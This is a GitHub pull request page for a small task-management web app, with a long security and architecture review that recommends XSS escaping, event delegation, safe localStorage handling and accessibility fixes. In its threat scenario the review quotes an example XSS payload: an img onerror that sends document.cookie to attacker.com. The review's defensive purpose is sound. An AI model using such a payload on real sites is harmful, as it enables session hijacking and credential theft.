Skip to content

SCRUM-103: Create a Taskmanagement app with just simple html and css#7

Open
muhil0304 wants to merge 1 commit into
mainfrom
feature/SCRUM-103
Open

SCRUM-103: Create a Taskmanagement app with just simple html and css#7
muhil0304 wants to merge 1 commit into
mainfrom
feature/SCRUM-103

Conversation

@muhil0304
Copy link
Copy Markdown
Owner

Ticket: SCRUM-103
Summary: Create a Taskmanagement app with just simple html and css
Link: https://workforcetest.atlassian.net/browse/SCRUM-103

Automated by workflow run. See the Files changed tab for the diff.

Copy link
Copy Markdown
Owner Author

@muhil0304 muhil0304 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security & Architecture Review: Task Management App

Reviewer: Jordan, Principal System Architect (Cloud-Native & Security-First)
Status: ⚠️ Changes Requested (PR #7)


1. Executive Summary

While this lightweight Task Management application is a clean and functional start, it contains several critical security vulnerabilities, architectural single points of failure, and accessibility (WCAG AA) non-compliance issues that must be resolved before it can be considered production-ready.

As a security-first architect, my review focuses on establishing a zero-trust posture, ensuring high resilience, and preparing the application for horizontal scalability and future cloud integration.


2. Security & Threat Model Analysis

DOM-Based Cross-Site Scripting (XSS) — Critical

  • Vulnerability: The renderTasks function uses innerHTML to render task items directly from user input (task.text) without sanitization or escaping.
  • Threat Scenario: An attacker inputs a malicious payload as a task name (e.g., <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">). If this application is ever connected to a backend database where tasks are shared, synced, or viewed by administrators, this becomes a Stored XSS vulnerability, leading to session hijacking or credential theft.
  • Mitigation: Implement a robust HTML escaping utility or refactor the rendering engine to use document.createElement and textContent.

Content Security Policy (CSP) Non-Compliance — High

  • Vulnerability: The dynamically generated HTML uses inline event handlers (e.g., onclick="toggleTask(...)", onclick="deleteTask(...)").
  • Threat Scenario: To run this application securely in production, a strict Content Security Policy (CSP) must be enforced (e.g., script-src 'self'). Inline event handlers violate this policy and require the dangerous unsafe-inline directive, which completely neutralizes CSP protections against XSS.
  • Mitigation: Refactor the event handling to use Event Delegation by attaching a single event listener to the parent <ul> element.

Storage Integrity & Tampering — Medium

  • Vulnerability: The application parses data from localStorage using JSON.parse() without validating the structure or schema of the retrieved data.
  • Threat Scenario: If a user or a malicious script tampers with the localStorage payload (e.g., setting tasks to an invalid JSON string or a malformed object), the application will crash on load with an unhandled SyntaxError.
  • Mitigation: Wrap storage access in a safe wrapper with validation and fallback mechanisms.
graph TD
    subgraph Current Vulnerable Flow
        A[User Input: Malicious Script] -->|No Sanitization| B[app.js: addTask]
        B -->|JSON.stringify| C[(localStorage)]
        C -->|JSON.parse| D[app.js: renderTasks]
        D -->|innerHTML| E[DOM / Browser Execution]
        E -->|XSS Payload Executes| F[Session Hijacking / Data Theft]
    end

    subgraph Secure Zero-Trust Flow
        G[User Input: Malicious Script] -->|Sanitize / Escape HTML| H[app.js: addTask]
        H -->|JSON.stringify| I[(localStorage with try-catch)]
        I -->|JSON.parse with Validation| J[app.js: renderTasks]
        J -->|textContent / Event Delegation| K[DOM / Safe Rendering]
        K -->|No Inline Scripts / Strict CSP| L[Secure Browser Execution]
    end
Loading

3. Architectural Alignment & Resilience

DOM Lifecycle & Initialization

  • Issue: The script queries DOM elements immediately upon execution. If app.js is loaded in the <head> without the defer attribute, or before the DOM is fully parsed, it will throw a TypeError and fail to initialize.
  • Mitigation: Wrap the initialization logic in a DOMContentLoaded event listener or guarantee the use of the defer attribute on the <script> tag.

LocalStorage Resilience

  • Issue: Direct access to localStorage can throw a SecurityError in sandboxed environments, private browsing modes, or when third-party storage is blocked by browser privacy settings. Additionally, setItem can throw a QuotaExceededError if the browser's storage limit is reached.
  • Mitigation: Implement a robust storage wrapper with try-catch blocks and an in-memory fallback array to ensure the app remains functional even if persistent storage is unavailable.

4. Performance, Observability & Accessibility

Performance & DOM Manipulation

  • Issue: Re-rendering the entire task list (renderTasks()) on every single state change (add, toggle, delete, filter) causes layout thrashing and performance degradation as the list grows.
  • Mitigation: While acceptable for a simple prototype, future iterations should transition to targeted DOM updates or a virtual DOM approach. Additionally, avoid transitioning all properties in CSS; instead, transition specific properties (e.g., transition: background-color 0.2s ease) to prevent unnecessary browser layout and paint recalculations.

Observability

  • Issue: The application lacks structured logging or error tracking. If a storage error or runtime exception occurs, there is no visibility.
  • Mitigation: Implement structured console logging and prepare hooks for an observability platform (e.g., Sentry) to track client-side exceptions in production.

Accessibility (A11y) — WCAG AA Compliance

  • Low Contrast: The --text-secondary color (#6b7280) on a white background has a contrast ratio of 3.97:1, which fails the WCAG AA standard of 4.5:1. Completed tasks apply opacity: 0.6 on top of this, making them virtually unreadable.
  • Outline Removal: Removing the focus outline (outline: none) on #taskInput:focus makes keyboard navigation extremely difficult for users relying on screen readers or assistive technologies.
  • Missing Labels: The task input field is missing an associated <label> or aria-label, making it inaccessible to screen readers.

5. Future-Proof Cloud-Native Architecture

To scale this application from a local-only prototype to a production-grade, multi-tenant cloud service, we should adopt a serverless, zero-trust architecture on AWS:

graph LR
    subgraph Client Layer
        A[SPA: HTML/CSS/JS] -->|Strict CSP / HTTPS| B[CloudFront CDN]
        B -->|S3 Bucket| C[Static Web Hosting]
    end

    subgraph Security & API Gateway
        D[Client Browser] -->|HTTPS / WAF| E[Amazon API Gateway]
        E -->|Cognito JWT Auth| F[Authorizer]
    end

    subgraph Compute & Storage (Zero-Trust)
        E -->|IAM Role| G[AWS Lambda: Task Service]
        G -->|Structured Logging: CloudWatch| H[Observability]
        G -->|KMS Encrypted| I[(Amazon DynamoDB)]
    end

    D -->|Fetch Static Assets| B
    D -->|REST API Calls| E
Loading
  • Static Hosting: AWS S3 + CloudFront (CDN) with strict security headers (CSP, HSTS, X-Frame-Options).
  • API Layer: Amazon API Gateway protected by AWS WAF (Web Application Firewall) to mitigate SQLi, XSS, and DDoS attacks.
  • Authentication: AWS Cognito for secure user authentication and JWT-based authorization.
  • Compute: AWS Lambda (Serverless) running microservices with strict IAM roles (least privilege).
  • Database: Amazon DynamoDB (NoSQL) with KMS encryption at rest.

6. Actionable Code Refactoring & Remediation

To resolve the security, resilience, and accessibility issues, apply the following refactoring:

A. Secure HTML Escaping Utility (app.js)

Add this helper function to sanitize user input before rendering:

function escapeHTML(str) {
  return str.replace(/[&<>'"]/g, 
    tag => ({
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      "'": '&#39;',
      '"': '&quot;'
    }[tag] || tag)
  );
}

B. Safe Storage Wrapper (app.js)

Replace direct localStorage calls with a resilient wrapper:

const storage = {
  get(key) {
    try {
      const data = localStorage.getItem(key);
      return data ? JSON.parse(data) : null;
    } catch (e) {
      console.warn('Storage read failed, falling back to memory:', e);
      return null;
    }
  },
  set(key, value) {
    try {
      localStorage.setItem(key, JSON.stringify(value));
      return true;
    } catch (e) {
      console.error('Storage write failed:', e);
      return false;
    }
  }
};

C. Event Delegation & Safe Rendering (app.js)

Refactor renderTasks to use the escaping helper and remove inline event handlers:

// Render tasks safely
function renderTasks() {
  let filteredTasks = tasks;
  
  if (currentFilter === 'active') {
    filteredTasks = tasks.filter(task => !task.completed);
  } else if (currentFilter === 'completed') {
    filteredTasks = tasks.filter(task => task.completed);
  }

  // Render using escaped HTML and data attributes instead of inline event handlers
  taskList.innerHTML = filteredTasks.map(task => `
    <li class="task-item ${task.completed ? 'completed' : ''}" data-id="${task.id}">
      <input 
        type="checkbox" 
        class="task-checkbox" 
        ${task.completed ? 'checked' : ''} 
      />
      <span class="task-text">${escapeHTML(task.text)}</span>
      <button class="delete-btn" aria-label="Delete task">Delete</button>
    </li>
  `).join('');
  
  const activeCount = tasks.filter(t => !t.completed).length;
  taskCount.textContent = `${activeCount} task${activeCount !== 1 ? 's' : ''} left`;
}

// Event Delegation on the parent list container
taskList.addEventListener('click', (e) => {
  const taskItem = e.target.closest('.task-item');
  if (!taskItem) return;
  const id = parseInt(taskItem.dataset.id, 10);

  if (e.target.classList.contains('task-checkbox')) {
    toggleTask(id);
  } else if (e.target.classList.contains('delete-btn')) {
    deleteTask(id);
  }
});

D. Accessibility Fixes (index.html & styles.css)

Update index.html to include an aria-label and wrap the input in a <form> for native submission:

<form id="taskForm" class="add-task-section">
  <input 
    type="text" 
    id="taskInput" 
    placeholder="Enter a new task..." 
    aria-label="New task description" 
  />
  <button type="submit" id="addTaskBtn" class="btn-primary">Add Task</button>
</form>

Update styles.css to meet WCAG AA contrast standards and restore focus outlines:

:root {
  --primary-color: #4f46e5;
  --danger-color: #dc2626;
  --success-color: #059669;
  --bg-color: #f9fafb;
  --card-bg: #ffffff;
  --text-color: #111827;
  --text-secondary: #4b5563; /* Increased contrast from #6b7280 */
  --border-color: #e5e7eb;
}

/* Restore and style focus outline for keyboard accessibility */
#taskInput:focus-visible {
  outline: 2px solid var(--primary-color);
  outline-offset: 2px;
}

/* Avoid transitioning 'all' properties */
.btn-primary,
.btn-secondary {
  transition: background-color 0.2s ease, transform 0.2s ease;
}

Next Steps

Please apply these security, resilience, and accessibility remediations. Once implemented, this application will be highly secure, robust, compliant with modern web standards, and ready for production deployment.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant